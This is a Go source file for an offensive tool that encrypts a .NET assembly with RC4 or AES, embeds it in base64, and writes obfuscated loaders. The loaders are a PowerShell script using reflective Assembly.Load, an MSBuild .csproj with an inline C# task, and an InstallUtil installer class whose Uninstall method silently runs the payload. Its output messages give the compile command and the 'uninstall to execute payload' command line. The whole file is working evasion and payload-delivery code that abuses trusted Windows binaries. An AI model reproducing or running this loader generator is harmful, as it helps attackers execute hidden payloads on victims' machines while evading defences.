package main

import (
	"crypto/aes"
	"crypto/cipher"
	cryptoRand "crypto/rand"
	"encoding/base64"
	"flag"
	"fmt"
	"io/ioutil"
	mathRand "math/rand"
	"os"
	"path/filepath"
	"regexp"
	"strings"
	"time"
)

const keySpace = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
const keySpaceForKeys = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

func rc4(key, data []byte) []byte {
	s := make([]int, 256)
	for i := 0; i < 256; i++ {
		s[i] = i
	}
	j := 0
	for i := 0; i < 256; i++ {
		j = (j + s[i] + int(key[i%len(key)])) % 256
		s[i], s[j] = s[j], s[i]
	}

	encrypted := make([]byte, len(data))
	i, j := 0, 0
	for k := 0; k < len(data); k++ {
		i = (i + 1) % 256
		j = (j + s[i]) % 256
		s[i], s[j] = s[j], s[i]
		t := (s[i] + s[j]) % 256
		encrypted[k] = data[k] ^ byte(s[t])
	}
	return encrypted
}

func aesEncrypt(key, data []byte) ([]byte, []byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, nil, fmt.Errorf("[err] failed to create AES cipher: %v", err)
	}

	iv := make([]byte, aes.BlockSize)
	if _, err := cryptoRand.Read(iv); err != nil {
		return nil, nil, fmt.Errorf("[err] failed to generate IV: %v", err)
	}

	paddedData := padData(data, aes.BlockSize)
	ciphertext := make([]byte, len(paddedData))

	mode := cipher.NewCBCEncrypter(block, iv)
	mode.CryptBlocks(ciphertext, paddedData)

	return ciphertext, iv, nil
}

func padData(data []byte, blockSize int) []byte {
	padding := blockSize - len(data)%blockSize
	padText := make([]byte, len(data)+padding)
	copy(padText, data)
	for i := len(data); i < len(padText); i++ {
		padText[i] = byte(padding)
	}
	return padText
}

func encryptData(encryptionType string, key []byte, data []byte) (ciphertext []byte, iv []byte, err error) {
	if encryptionType == "rc4" {
		ciphertext = rc4(key, data)
		return ciphertext, nil, nil
	} else if encryptionType == "aes" {
		ciphertext, iv, err = aesEncrypt(key, data)
		if err != nil {
			return nil, nil, err
		}
		return ciphertext, iv, nil
	}
	return nil, nil, fmt.Errorf("[err] unsupported encryption type: %s", encryptionType)
}

func generatePassword(length int) string {
	b := make([]byte, length)
	for i := range b {
		b[i] = keySpaceForKeys[mathRand.Intn(len(keySpaceForKeys))]
	}
	return string(b)
}

func obfuscate(s string, length int) (string, error) {
	if length <= 0 {
		return "", fmt.Errorf("[err] length must be a positive integer")
	}

	placeholderValues := make(map[string]string)
	re := regexp.MustCompile(`<%=obf (.*?) %>`)

	result := re.ReplaceAllStringFunc(s, func(match string) string {
		placeholder := re.FindStringSubmatch(match)[1]
		if val, exists := placeholderValues[placeholder]; exists {
			return val
		}

		var randomString strings.Builder
		for i := 0; i < length; i++ {
			randomString.WriteByte(keySpace[mathRand.Intn(len(keySpace))])
		}
		placeholderValues[placeholder] = randomString.String()
		return placeholderValues[placeholder]
	})

	return result, nil
}

func generatePowerShellLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error {
	data, err := ioutil.ReadFile(filePath)
	if err != nil {
		return fmt.Errorf("[err] failed to read file: %v", err)
	}

	key := []byte(generatePassword(keyLength))
	ciphertext, iv, err := encryptData(encryptionType, key, data)
	if err != nil {
		return fmt.Errorf("[err] encryption failed: %v", err)
	}

	b64 := base64.StdEncoding.EncodeToString(ciphertext)
	b64IV := ""
	if encryptionType == "aes" {
		b64IV = base64.StdEncoding.EncodeToString(iv)
	}

	baseName := filepath.Base(filePath)
	assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe"
	outputFile := fmt.Sprintf("%s_reflective.ps1", assemblyName)

	template := ""
	if encryptionType == "rc4" {
		template = `
function <%=obf RC4Decrypt %> {
    param (
        [byte[]]$<%=obf data %>,
        [byte[]]$<%=obf key %>
    )
    $<%=obf S %> = 0..255
    $<%=obf j %> = 0
    for ($<%=obf i %> = 0; $<%=obf i %> -lt 256; $<%=obf i %>++) {
        $<%=obf j %> = ($<%=obf j %> + $<%=obf S %>[$<%=obf i %>] + $<%=obf key %>[$<%=obf i %> % $<%=obf key %>.Length]) % 256
        $<%=obf S %>[$<%=obf i %>], $<%=obf S %>[$<%=obf j %>] = $<%=obf S %>[$<%=obf j %>], $<%=obf S %>[$<%=obf i %>]
    }
    $<%=obf output %> = New-Object byte[] $<%=obf data %>.Length
    $<%=obf i %> = 0
    $<%=obf j %> = 0
    for ($<%=obf k %> = 0; $<%=obf k %> -lt $<%=obf data %>.Length; $<%=obf k %>++) {
        $<%=obf i %> = ($<%=obf i %> + 1) % 256
        $<%=obf j %> = ($<%=obf j %> + $<%=obf S %>[$<%=obf i %>]) % 256
        $<%=obf S %>[$<%=obf i %>], $<%=obf S %>[$<%=obf j %>] = $<%=obf S %>[$<%=obf j %>], $<%=obf S %>[$<%=obf i %>]
        $<%=obf t %> = ($<%=obf S %>[$<%=obf i %>] + $<%=obf S %>[$<%=obf j %>]) % 256
        $<%=obf output %>[$<%=obf k %>] = $<%=obf data %>[$<%=obf k %>] -bxor $<%=obf S %>[$<%=obf t %>]
    }
    return $<%=obf output %>
}

$<%=obf key %> = [System.Text.Encoding]::UTF8.GetBytes("{key}")
$<%=obf bytes %> = [Convert]::FromBase64String("{b64}")
[byte[]]$<%=obf decrypted %> = <%=obf RC4Decrypt %> -<%=obf data %> $<%=obf bytes %> -<%=obf key %> $<%=obf key %>
[Reflection.Assembly]::Load($<%=obf decrypted %>)
`
	} else {
		template = `
function <%=obf AESDecrypt %> {
    param($<%=obf aesKey %>, $<%=obf aesIv %>, $<%=obf encryptedAssembly %>)
    $<%=obf iv %> = [Convert]::FromBase64String($<%=obf aesIv %>)
    $<%=obf encryptedBytes %> = [Convert]::FromBase64String($<%=obf encryptedAssembly %>)
    $<%=obf aes %> = New-Object Security.Cryptography.AesCryptoServiceProvider
    $<%=obf aes %>.KeySize = 256
    $<%=obf aes %>.BlockSize = 128
    $<%=obf aes %>.Mode = [Security.Cryptography.CipherMode]::CBC
    $<%=obf aes %>.Padding = [Security.Cryptography.PaddingMode]::PKCS7
    $<%=obf aes %>.Key = [System.Text.Encoding]::UTF8.GetBytes($<%=obf aesKey %>)
    $<%=obf aes %>.IV = $<%=obf iv %>
    $<%=obf ms %> = New-Object System.IO.MemoryStream $<%=obf encryptedBytes %>, 0, $<%=obf encryptedBytes %>.Length
    $<%=obf cs %> = New-Object Security.Cryptography.CryptoStream $<%=obf ms %>, $<%=obf aes %>.CreateDecryptor(), 0
    $<%=obf cs %>.Read($<%=obf encryptedBytes %>, 0, $<%=obf encryptedBytes %>.Length) | Out-Null
    return $<%=obf encryptedBytes %>
}

$<%=obf key %> = "{key}"
$<%=obf iv %> = "{b64IV}"
$<%=obf encryptedAssembly %> = "{b64}"

[byte[]]$<%=obf decryptedBytes %> = <%=obf AESDecrypt %> -<%=obf aesKey %> $<%=obf key %> -<%=obf aesIv %> $<%=obf iv %> -<%=obf encryptedAssembly %> $<%=obf encryptedAssembly %>
[Reflection.Assembly]::Load($<%=obf decryptedBytes %>)
`
	}

	template = strings.ReplaceAll(template, "{key}", string(key))
	template = strings.ReplaceAll(template, "{b64}", b64)
	if encryptionType == "aes" {
		template = strings.ReplaceAll(template, "{b64IV}", b64IV)
	}

	obfuscated, err := obfuscate(template, obfuscationLength)
	if err != nil {
		return fmt.Errorf("[err] obfuscation failed: %v", err)
	}

	err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644)
	if err != nil {
		return fmt.Errorf("[err] failed to write output file: %v", err)
	}

	fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath)
	fmt.Println("[inf] call assembly method with [<namespace>.<class>]::<method>(\"arg1 arg2\".Split())")
	return nil
}

func generateMSBuildLdr(filePath string, obfuscationLength, keyLength int, dotnetArch, encryptionType string) error {
	data, err := ioutil.ReadFile(filePath)
	if err != nil {
		return fmt.Errorf("[err] failed to read file: %v", err)
	}

	key := []byte(generatePassword(keyLength))
	ciphertext, iv, err := encryptData(encryptionType, key, data)
	if err != nil {
		return fmt.Errorf("[err] encryption failed: %v", err)
	}

	b64 := base64.StdEncoding.EncodeToString(ciphertext)
	b64IV := ""
	if encryptionType == "aes" {
		b64IV = base64.StdEncoding.EncodeToString(iv)
	}

	archPath := ""
	if dotnetArch == "x86" {
		archPath = ""
	} else {
		archPath = "64"
	}

	binSize := len(ciphertext)

	baseName := filepath.Base(filePath)
	assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe"
	outputFile := fmt.Sprintf("%s_msbuild.csproj", assemblyName)

	template := ""
	if encryptionType == "rc4" {
		template = `
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <Target Name="<%=obf GhostBuild %>">
        <<%=obf GhostBuilder %>/>
    </Target>
    <UsingTask TaskName="<%=obf GhostBuilder %>" TaskFactory="CodeTaskFactory" AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework<%=obf arch %>\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll">
        <ParameterGroup/>
        <Task>
            <Code Type="Class" Language="cs">
                <![CDATA[
                    using System;
                    using System.IO;
                    using System.Reflection;
                    using System.Text;
                    using Microsoft.Build.Framework;
                    using Microsoft.Build.Utilities;

                    public class <%=obf GhostBuilder %> : Task, ITask {
                        public static byte[] <%=obf RC4 %>(byte[] <%=obf pwd %>, byte[] <%=obf data %>) {
                            int <%=obf a %>, <%=obf i %>, <%=obf j %>, <%=obf k %>, <%=obf tmp %>;
                            int[] <%=obf key %> = new int[256];
                            int[] <%=obf box %> = new int[256];
                            byte[] <%=obf cipher %> = new byte[<%=obf data %>.Length];
                            for (<%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) {
                                <%=obf key %>[<%=obf i %>] = <%=obf pwd %>[<%=obf i %> % <%=obf pwd %>.Length];
                                <%=obf box %>[<%=obf i %>] = <%=obf i %>;
                            }
                            for (<%=obf j %> = <%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) {
                                <%=obf j %> = (<%=obf j %> + <%=obf box %>[<%=obf i %>] + <%=obf key %>[<%=obf i %>]) % 256;
                                <%=obf tmp %> = <%=obf box %>[<%=obf i %>];
                                <%=obf box %>[<%=obf i %>] = <%=obf box %>[<%=obf j %>];
                                <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
                            }
                            for (<%=obf a %> = <%=obf j %> = <%=obf i %> = 0; <%=obf i %> < <%=obf data %>.Length; <%=obf i %>++) {
                                <%=obf a %>++;
                                <%=obf a %> %= 256;
                                <%=obf j %> += <%=obf box %>[<%=obf a %>];
                                <%=obf j %> %= 256;
                                <%=obf tmp %> = <%=obf box %>[<%=obf a %>];
                                <%=obf box %>[<%=obf a %>] = <%=obf box %>[<%=obf j %>];
                                <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
                                <%=obf k %> = <%=obf box %>[(<%=obf box %>[<%=obf a %>] + <%=obf box %>[<%=obf j %>]) % 256];
                                <%=obf cipher %>[<%=obf i %>] = (byte)(<%=obf data %>[<%=obf i %>] ^ <%=obf k %>);
                            }
                            return <%=obf cipher %>;
                        }

                        public override bool Execute() {
                            string[] <%=obf args %> = new string[] { "" };
                            string <%=obf encodedBin %> = "{b64}";
                            int <%=obf binSize %> = {binSize};
                            string <%=obf key %> = "{key}";

                            byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
                            using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) {
                                <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
                            }
                            byte[] <%=obf final %> = <%=obf RC4 %>(Encoding.UTF8.GetBytes(<%=obf key %>), <%=obf bytesBin %>);
                            Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
                            <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
                            return true;
                        }
                    }
                ]]>
            </Code>
        </Task>
    </UsingTask>
</Project>
`
	} else {
		template = `
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    <Target Name="<%=obf GhostBuild %>">
        <<%=obf GhostBuilder %>/>
    </Target>
    <UsingTask TaskName="<%=obf GhostBuilder %>" TaskFactory="CodeTaskFactory" AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework<%=obf arch %>\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll">
        <ParameterGroup/>
        <Task>
            <Code Type="Class" Language="cs">
                <![CDATA[
                    using System;
                    using System.IO;
                    using System.Reflection;
                    using System.Text;
                    using System.Security.Cryptography;
                    using Microsoft.Build.Framework;
                    using Microsoft.Build.Utilities;

                    public class <%=obf GhostBuilder %> : Task, ITask {
                        public static byte[] <%=obf AesDecrypt %>(byte[] <%=obf cipherText %>, byte[] <%=obf key %>, byte[] <%=obf iv %>) {
                            using (Aes <%=obf aesAlg %> = Aes.Create()) {
                                <%=obf aesAlg %>.KeySize = 256;
                                <%=obf aesAlg %>.BlockSize = 128;
                                <%=obf aesAlg %>.Mode = CipherMode.CBC;
                                <%=obf aesAlg %>.Padding = PaddingMode.PKCS7;
                                <%=obf aesAlg %>.Key = <%=obf key %>;
                                <%=obf aesAlg %>.IV = <%=obf iv %>;
                                ICryptoTransform <%=obf decryptor %> = <%=obf aesAlg %>.CreateDecryptor(<%=obf aesAlg %>.Key, <%=obf aesAlg %>.IV);
                                using (MemoryStream <%=obf msDecrypt %> = new MemoryStream()) {
                                    using (CryptoStream <%=obf csDecrypt %> = new CryptoStream(<%=obf msDecrypt %>, <%=obf decryptor %>, CryptoStreamMode.Write)) {
                                        <%=obf csDecrypt %>.Write(<%=obf cipherText %>, 0, <%=obf cipherText %>.Length);
                                        <%=obf csDecrypt %>.FlushFinalBlock();
                                    }
                                    return <%=obf msDecrypt %>.ToArray();
                                }
                            }
                        }

                        public override bool Execute() {
                            string[] <%=obf args %> = new string[] { "" };
                            string <%=obf encodedBin %> = "{b64}";
                            int <%=obf binSize %> = {binSize};
                            byte[] <%=obf key %> = Encoding.UTF8.GetBytes("{key}");
                            byte[] <%=obf iv %> = Convert.FromBase64String("{b64IV}");
                            byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
                            using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) {
                                <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
                            }
                            byte[] <%=obf final %> = <%=obf AesDecrypt %>(<%=obf bytesBin %>, <%=obf key %>, <%=obf iv %>);
                            Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
                            <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
                            return true;
                        }
                    }
                ]]>
            </Code>
        </Task>
    </UsingTask>
</Project>
`
	}

	template = strings.ReplaceAll(template, "{key}", string(key))
	template = strings.ReplaceAll(template, "{b64}", b64)
	template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize))
	template = strings.ReplaceAll(template, "<%=obf arch %>", archPath)
	if encryptionType == "aes" {
		template = strings.ReplaceAll(template, "{b64IV}", b64IV)
	}

	obfuscated, err := obfuscate(template, obfuscationLength)
	if err != nil {
		return fmt.Errorf("[err] obfuscation failed: %v", err)
	}

	err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644)
	if err != nil {
		return fmt.Errorf("[err] failed to write output file: %v", err)
	}

	fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath)
	fmt.Println("[inf] change \"string[] <var> = new string[] { \"\" };\" to add arguments")
	return nil
}

func generateInstallUtilLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error {
	data, err := ioutil.ReadFile(filePath)
	if err != nil {
		return fmt.Errorf("[err] failed to read file: %v", err)
	}

	key := []byte(generatePassword(keyLength))
	ciphertext, iv, err := encryptData(encryptionType, key, data)
	if err != nil {
		return fmt.Errorf("[err] encryption failed: %v", err)
	}

	b64 := base64.StdEncoding.EncodeToString(ciphertext)
	b64IV := ""
	if encryptionType == "aes" {
		b64IV = base64.StdEncoding.EncodeToString(iv)
	}

	binSize := len(ciphertext)

	baseName := filepath.Base(filePath)
	assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName))
	outputFile := fmt.Sprintf("%s.cs", assemblyName)

	template := ""
	if encryptionType == "rc4" {
		template = `
using System;
using System.IO;
using System.Text;
using System.Reflection;
using System.Configuration.Install;

namespace <%=obf Namespace %>
{
    public class <%=obf Program %>
    {
        public static void Main(string[] args)
        {}
    }

    [System.ComponentModel.RunInstaller(true)]
    public class <%=obf Installer %> : Installer
    {
        public static byte[] <%=obf RC4 %>(byte[] <%=obf pwd %>, byte[] <%=obf data %>)
        {
            int <%=obf a %>, <%=obf i %>, <%=obf j %>, <%=obf k %>, <%=obf tmp %>;
            int[] <%=obf key %> = new int[256];
            int[] <%=obf box %> = new int[256];
            byte[] <%=obf cipher %> = new byte[<%=obf data %>.Length];
            for (<%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++)
            {
                <%=obf key %>[<%=obf i %>] = <%=obf pwd %>[<%=obf i %> % <%=obf pwd %>.Length];
                <%=obf box %>[<%=obf i %>] = <%=obf i %>;
            }
            for (<%=obf j %> = <%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++)
            {
                <%=obf j %> = (<%=obf j %> + <%=obf box %>[<%=obf i %>] + <%=obf key %>[<%=obf i %>]) % 256;
                <%=obf tmp %> = <%=obf box %>[<%=obf i %>];
                <%=obf box %>[<%=obf i %>] = <%=obf box %>[<%=obf j %>];
                <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
            }
            for (<%=obf a %> = <%=obf j %> = <%=obf i %> = 0; <%=obf i %> < <%=obf data %>.Length; <%=obf i %>++)
            {
                <%=obf a %>++;
                <%=obf a %> %= 256;
                <%=obf j %> += <%=obf box %>[<%=obf a %>];
                <%=obf j %> %= 256;
                <%=obf tmp %> = <%=obf box %>[<%=obf a %>];
                <%=obf box %>[<%=obf a %>] = <%=obf box %>[<%=obf j %>];
                <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
                <%=obf k %> = <%=obf box %>[(<%=obf box %>[<%=obf a %>] + <%=obf box %>[<%=obf j %>]) % 256];
                <%=obf cipher %>[<%=obf i %>] = (byte)(<%=obf data %>[<%=obf i %>] ^ <%=obf k %>);
            }
            return <%=obf cipher %>;
        }

        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            try
            {
                string[] <%=obf args %> = new string[] { "" };
                string <%=obf encodedBin %> = "{b64}";
                int <%=obf binSize %> = {binSize};
                string <%=obf key %> = "{key}";

                byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
                using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>)))
                {
                    <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
                }
                byte[] <%=obf final %> = <%=obf RC4 %>(Encoding.UTF8.GetBytes(<%=obf key %>), <%=obf bytesBin %>);
                Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
                <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
            }
            catch (Exception) {}
            base.Uninstall(savedState);
        }
    }
}
`
	} else {
		template = `
using System;
using System.IO;
using System.Text;
using System.Reflection;
using System.Configuration.Install;
using System.Security.Cryptography;

namespace <%=obf Namespace %>
{
    public class <%=obf Program %>
    {
        public static void Main(string[] args)
        {}
    }

    [System.ComponentModel.RunInstaller(true)]
    public class <%=obf Installer %> : Installer
    {
        public static byte[] <%=obf AesDecrypt %>(byte[] <%=obf cipherText %>, byte[] <%=obf key %>, byte[] <%=obf iv %>)
        {
            using (Aes <%=obf aesAlg %> = Aes.Create())
            {
                <%=obf aesAlg %>.KeySize = 256;
                <%=obf aesAlg %>.BlockSize = 128;
                <%=obf aesAlg %>.Mode = CipherMode.CBC;
                <%=obf aesAlg %>.Padding = PaddingMode.PKCS7;
                <%=obf aesAlg %>.Key = <%=obf key %>;
                <%=obf aesAlg %>.IV = <%=obf iv %>;
                ICryptoTransform <%=obf decryptor %> = <%=obf aesAlg %>.CreateDecryptor(<%=obf aesAlg %>.Key, <%=obf aesAlg %>.IV);
                using (MemoryStream <%=obf msDecrypt %> = new MemoryStream())
                {
                    using (CryptoStream <%=obf csDecrypt %> = new CryptoStream(<%=obf msDecrypt %>, <%=obf decryptor %>, CryptoStreamMode.Write))
                    {
                        <%=obf csDecrypt %>.Write(<%=obf cipherText %>, 0, <%=obf cipherText %>.Length);
                        <%=obf csDecrypt %>.FlushFinalBlock();
                    }
                    return <%=obf msDecrypt %>.ToArray();
                }
            }
        }

        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            try
            {
                string[] <%=obf args %> = new string[] { "" };
                string <%=obf encodedBin %> = "{b64}";
                int <%=obf binSize %> = {binSize};
                byte[] <%=obf key %> = Encoding.UTF8.GetBytes("{key}");
                byte[] <%=obf iv %> = Convert.FromBase64String("{b64IV}");
                byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
                using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>)))
                {
                    <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
                }
                byte[] <%=obf final %> = <%=obf AesDecrypt %>(<%=obf bytesBin %>, <%=obf key %>, <%=obf iv %>);
                Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
                <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
            }
            catch (Exception) {}
            base.Uninstall(savedState);
        }
    }
}
`
	}

	template = strings.ReplaceAll(template, "{key}", string(key))
	template = strings.ReplaceAll(template, "{b64}", b64)
	template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize))
	if encryptionType == "aes" {
		template = strings.ReplaceAll(template, "{b64IV}", b64IV)
	}

	obfuscated, err := obfuscate(template, obfuscationLength)
	if err != nil {
		return fmt.Errorf("[err] obfuscation failed: %v", err)
	}

	err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644)
	if err != nil {
		return fmt.Errorf("[err] failed to write output file: %v", err)
	}

	fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath)
	fmt.Printf("[inf] compile with: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /platform:x64|x86 /out:%s.exe %s\n", assemblyName, outputFile)
	fmt.Printf("[inf] uninstall to execute payload: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /U /logfile= /LogToConsole=false %s.exe\n", assemblyName)
	return nil
}

func main() {
	filePath := flag.String("f", "", "input file path")
	outputType := flag.String("t", "powershell", "loader type: powershell|msbuild|installutil")
	encryptionType := flag.String("e", "rc4", "encryption type: rc4|aes")
	obfuscationLength := flag.Int("obf-len", 8, "length of obfuscated strings")
	keyLength := flag.Int("key-len", 32, "length of encryption key")
	dotnetArch := flag.String("dotnet-architecture", "x64", ".net architecture for msbuild: x86|x64")
	flag.Parse()

	if *filePath == "" {
		fmt.Println("[err] -f/--file is required")
		flag.Usage()
		os.Exit(1)
	}
	if *outputType != "powershell" && *outputType != "msbuild" && *outputType != "installutil" {
		fmt.Println("[err] -t/--type must be 'powershell', 'msbuild', or 'installutil'")
		flag.Usage()
		os.Exit(1)
	}
	if *encryptionType != "rc4" && *encryptionType != "aes" {
		fmt.Println("[err] -e/--encryption must be 'rc4' or 'aes'")
		flag.Usage()
		os.Exit(1)
	}
	if *obfuscationLength <= 0 {
		fmt.Println("[err] -obf-len must be a positive integer")
		flag.Usage()
		os.Exit(1)
	}
	if *keyLength <= 0 || (*encryptionType == "aes" && *keyLength != 32) {
		fmt.Println("[err] -key-len must be a positive integer, 32 for AES")
		flag.Usage()
		os.Exit(1)
	}
	if *outputType == "msbuild" && *dotnetArch != "x86" && *dotnetArch != "x64" {
		fmt.Println("[err] --dotnet-architecture must be 'x86' or 'x64'")
		flag.Usage()
		os.Exit(1)
	}

	mathRand.Seed(time.Now().UnixNano())

	var err error
	if *outputType == "powershell" {
		err = generatePowerShellLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType)
	} else if *outputType == "msbuild" {
		err = generateMSBuildLdr(*filePath, *obfuscationLength, *keyLength, *dotnetArch, *encryptionType)
	} else {
		err = generateInstallUtilLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType)
	}
	if err != nil {
		fmt.Printf("[err] %v\n", err)
		os.Exit(1)
	}
}